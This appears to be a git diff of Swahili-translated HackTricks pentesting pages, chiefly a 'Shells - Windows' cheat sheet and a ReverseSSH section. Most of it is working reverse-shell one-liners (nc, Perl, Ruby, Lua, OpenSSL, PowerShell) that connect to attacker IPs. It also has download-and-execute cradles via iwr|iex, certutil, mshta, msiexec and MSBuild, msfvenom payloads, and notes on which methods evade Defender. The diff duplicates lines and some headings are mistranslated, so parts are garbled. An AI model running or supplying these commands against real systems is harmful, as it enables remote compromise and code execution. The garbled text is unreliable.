Njia rahisi ya kupata **upatikanaji wa kikochi cha mwingiliano**, pamoja na **uhamishaji wa faili** na **mbelezo ya bandari**, ni kuweka seva ya ssh iliyolinkishwa kwa njia ya static [ReverseSSH](https://github.com/Fahrj/reverse-ssh) kwenye lengo.
|
||||
|
||||
Hapa chini ni mfano kwa `x86` na faili za binary zilizopunguzwa na upx. Kwa faili za binary nyingine, angalia [ukurasa wa matoleo](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
Hapa chini ni mfano kwa `x86` na programu za upx-compressed. Kwa programu nyingine, angalia [ukurasa wa kutolewa](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
|
||||
1. Jitayarisha kwenye kompyuta yako ili kupokea ombi la mbelezo la ssh:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
1. Jipange kwa ajili ya kupokea ombi la mbelezo la bandari ya ssh kwa kifaa chako:
|
||||
```bash
|
||||
# Drop it via your preferred way, e.g.
|
||||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||||
|
|
@ -82,8 +81,6 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers
|
|||
{% endcode %}
|
||||
|
||||
* (2a) Lengo la Linux:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Drop it via your preferred way, e.g.
|
||||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||||
|
|
@ -101,9 +98,7 @@ certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/d
|
|||
|
||||
reverse-ssh.exe -p 4444 kali@10.0.0.2
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* Ikiwa ombi la mbele ya SSH limefanikiwa, sasa unapaswa kuweza kuingia kwa nywila ya chaguo-msingi `letmeinbrudipls` katika muktadha wa mtumiaji anayetumia `reverse-ssh(.exe)`:
|
||||
* Ikiwa ombi la mbele la mbele la mbele la mbele lilifanikiwa, sasa unapaswa kuweza kuingia kwa nywila ya msingi `letmeinbrudipls` katika muktadha wa mtumiaji anayekimbia `reverse-ssh(.exe)`:
|
||||
```bash
|
||||
# Interactive shell access
|
||||
ssh -p 8888 127.0.0.1
|
||||
|
|
@ -113,20 +108,21 @@ sftp -P 8888 127.0.0.1
|
|||
```
|
||||
## Hakuna TTY
|
||||
|
||||
Ikiwa kwa sababu fulani huwezi kupata TTY kamili, bado unaweza kuingiliana na programu ambazo zinatarajia kuingiza mtumiaji. Katika mfano ufuatao, nenosiri linapitishwa kwa `sudo` ili kusoma faili:
|
||||
Ikiwa kwa sababu fulani huwezi kupata TTY kamili unaweza bado kuingiliana na programu ambazo zinatarajia mwingiliano wa mtumiaji. Katika mfano ufuatao, nenosiri linapitishwa kwa `sudo` ili kusoma faili:
|
||||
```bash
|
||||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# Mabua - Windows
|
||||
# Shells - Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
|
|
@ -24,8 +25,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Lolbas
|
||||
|
||||
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa linux.\
|
||||
Kwa dhahiri, **hakuna faili za SUID au mamlaka ya sudo kwenye Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binari** zinaweza kutumika (kwa ubaya) kutekeleza aina fulani ya hatua zisizotarajiwa kama **kutekeleza nambari za kupindukia.**
|
||||
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa ajili ya Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa ajili ya linux.\
|
||||
Kwa dhahiri, **hakuna faili za SUID au mamlaka ya sudo kwenye Windows**, lakini ni muhimu kujua **jinsi** baadhi ya **binari** zinavyoweza kutumika kufanya aina fulani ya vitendo visivyotarajiwa kama **utekelezaji wa nambari za kubahatisha.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
|
@ -52,21 +53,21 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows.
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shell kwenye mfumo wa Windows. Inatoa njia nyingi za kufanya hivyo, kama vile kutumia moduli kama vile `Net::RawIP` au `Net::Pcap`.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
## Kijivu
|
||||
### Swahili Translation
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
## Kiswahili
|
||||
Lua ni lugha ya programu ya scripting iliyoundwa kwa kasi na ufanisi. Lua inaweza kutumika kama sehemu ya mchakato wa ukiukaji wa mfumo wa Windows kwa kutekeleza hati za Lua kwenye mfumo uliokaliwa. Lua inaweza kusaidia katika kuanzisha mwingiliano wa mtumiaji wa mwisho na mifumo ya Windows.
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
|
|
@ -78,7 +79,17 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Mnajisi
|
||||
### Mfano wa Shell ya Windows
|
||||
|
||||
Unapotumia shell ya Windows kwenye mazingira ya Windows, unaweza kutumia njia zifuatazo kusaidia kudumisha ufikiaji wako kwenye mfumo wa shabiki:
|
||||
|
||||
1. **cmd.exe**: Shell ya msingi ya Windows inayotumiwa kwa amri za msingi.
|
||||
2. **Powershell.exe**: Shell yenye nguvu zaidi inayotumiwa kwa amri za PowerShell.
|
||||
3. **wscript.exe**: Inaweza kutumika kutekeleza hati za VBScript.
|
||||
4. **cscript.exe**: Inaweza kutumika kutekeleza hati za VBScript kwenye hali ya amri.
|
||||
5. **wmic.exe**: Inaweza kutumika kutekeleza amri za WMI.
|
||||
6. **Mshta.exe**: Inaweza kutumika kutekeleza hati za HTML Application (HTA).
|
||||
7. **rundll32.exe**: Inaweza kutumika kutekeleza maktaba za DLL.
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
|
@ -87,8 +98,6 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
Powershell ni lugha ya skripti iliyoundwa na Microsoft kwa madhumuni ya kufanya usimamizi wa mfumo na automatiseringi. Inaweza kutumika kwa ufanisi katika uchunguzi wa dijiti na upenyezaji wa mtandao.
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
|
|
@ -101,7 +110,7 @@ Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali popote nilipoweza ku
|
|||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
Mchakato unaoendesha wito wa mtandao: **svchost.exe**\
|
||||
Payload iliyoandikwa kwenye diski: **Hifadhi ya muda ya mteja wa WebDAV**
|
||||
Mzigo ulioandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
|
@ -125,7 +134,7 @@ mshta \\webdavserver\folder\payload.hta
|
|||
```xml
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana kizimbe cha Koadic kwa kutumia stager hta**
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana mzimu wa Koadic ukitumia stager hta**
|
||||
|
||||
#### mfano wa hta
|
||||
|
||||
|
|
@ -274,7 +283,7 @@ Pakua B64dll, itafsiri na kutekeleza.
|
|||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
Pakua B64exe, itafsiri na kuitekeleza.
|
||||
Pakua B64exe, itafsiri na tekeleza.
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||
```
|
||||
|
|
@ -289,7 +298,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
|||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
**Imegunduliwa na msaliti**
|
||||
**Kugunduliwa na msimamizi**
|
||||
|
||||
## PS-Bat
|
||||
```bash
|
||||
|
|
@ -314,11 +323,11 @@ Mshambuliaji
|
|||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||
python -m SimpleHTTPServer 80
|
||||
```
|
||||
Mfano:
|
||||
Mkubwa:
|
||||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**Imegundulika**
|
||||
**Imebainika**
|
||||
|
||||
## **Wmic**
|
||||
|
||||
|
|
@ -340,7 +349,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
**Haijagunduliwa**
|
||||
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager wmic**
|
||||
**Unaweza kupakua na kutekeleza kwa urahisi sana zombi wa Koadic ukitumia stager wmic**
|
||||
|
||||
## Msbuild
|
||||
|
||||
|
|
@ -349,7 +358,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell.\
|
||||
Pakua hii na itekeleze: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
Pakua hii na kuitekeleza: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
|
@ -361,9 +370,9 @@ Kusanya msimbo wa C# kwenye mashine ya mwathiriwa.
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
Unaweza kupakua kaboti ya C# ya nyuma hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
Unaweza kupakua ganda la kurudisha nyuma la C# la msingi kutoka hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**Haitambuliwi**
|
||||
**Hakijagunduliwa**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
|
||||
|
|
@ -385,13 +394,13 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
|
||||
|
||||
## Powershell Mabakuli
|
||||
## Powesheli Shells
|
||||
|
||||
### PS-Nishang
|
||||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
Katika folda ya **Shells**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
|
||||
Katika folda ya **Shells**, kuna mabaka mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
|
@ -399,9 +408,9 @@ Anza kuhudumia script kwenye seva ya wavuti na kuitekeleza kwenye mwisho wa muat
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender haiichunguzi kama nambari yenye nia mbaya (bado, 3/04/2019).
|
||||
Defender haiichunguzi kama nambari inayoweza kudhuru (bado, 3/04/2019).
|
||||
|
||||
**TODO: Angalia mabakuli mengine ya nishang**
|
||||
**TODO: Angalia mabakaingine ya nishang**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
|
|
@ -411,11 +420,11 @@ Pakua, anzisha seva ya wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho w
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender haidhinishi kuwa ni msimbo mbaya (bado, 3/04/2019).
|
||||
Defender haiigundui kama nambari inayoweza kudhuru (bado, 3/04/2019).
|
||||
|
||||
**Chaguo nyingine zinazotolewa na powercat:**
|
||||
**Chaguo zingine zinazotolewa na powercat:**
|
||||
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, kupakia/kupakua, Zalisha mizigo, Toa faili...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
|
@ -440,13 +449,13 @@ Tengeneza mizizi ya powershell, iihifadhi kwenye faili na uipakue na kuitekeleza
|
|||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
**Imeonekana kama msimbo mbaya**
|
||||
**Imedhamiriwa kama msimbo mbaya**
|
||||
|
||||
### MSF-Unicorn
|
||||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha unicorn
|
||||
Tengeneza toleo la powershell la mlango wa nyuma wa metasploit kwa kutumia kifaa cha kichawi
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
|
|
@ -454,15 +463,15 @@ Anza msfconsole na rasilimali iliyoundwa:
|
|||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
Anza mtandao wa seva unayotoa faili ya _powershell\_attack.txt_ na tekeleza kwenye mhanga:
|
||||
Anza server ya wavuti ikitoa faili ya _powershell\_attack.txt_ na tekeleza kwa muathiriwa:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
**Imedetektiwa kama msimbo mbaya**
|
||||
**Imedetektiwa kama msimbo wa hatari**
|
||||
|
||||
## Zaidi
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye uchokozi zilizopakiwa mapema (zilizofichwa)\
|
||||
[PS>Shambulio](https://github.com/jaredhaight/PSAttack) PS console na moduli za PS zenye uchokozi zilizopakiwa mapema (zilizofichwa)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zenye uchokozi na uchunguzi wa proksi (IEX)
|
||||
|
||||
|
|
@ -482,16 +491,17 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS zen
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,29 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Vichwa vya kurejelea na sera
|
||||
# Vichwa vya Rufaa na Sera
|
||||
|
||||
Kichwa cha kurejelea ni kichwa kinachotumiwa na vivinjari kuonyesha ukurasa uliotembelewa hapo awali.
|
||||
Rufaa ni kichwa kinachotumiwa na vivinjari kuonyesha ukurasa uliotembelewa kabla.
|
||||
|
||||
## Habari nyeti zilizovuja
|
||||
## Taarifa nyeti zilizovuja
|
||||
|
||||
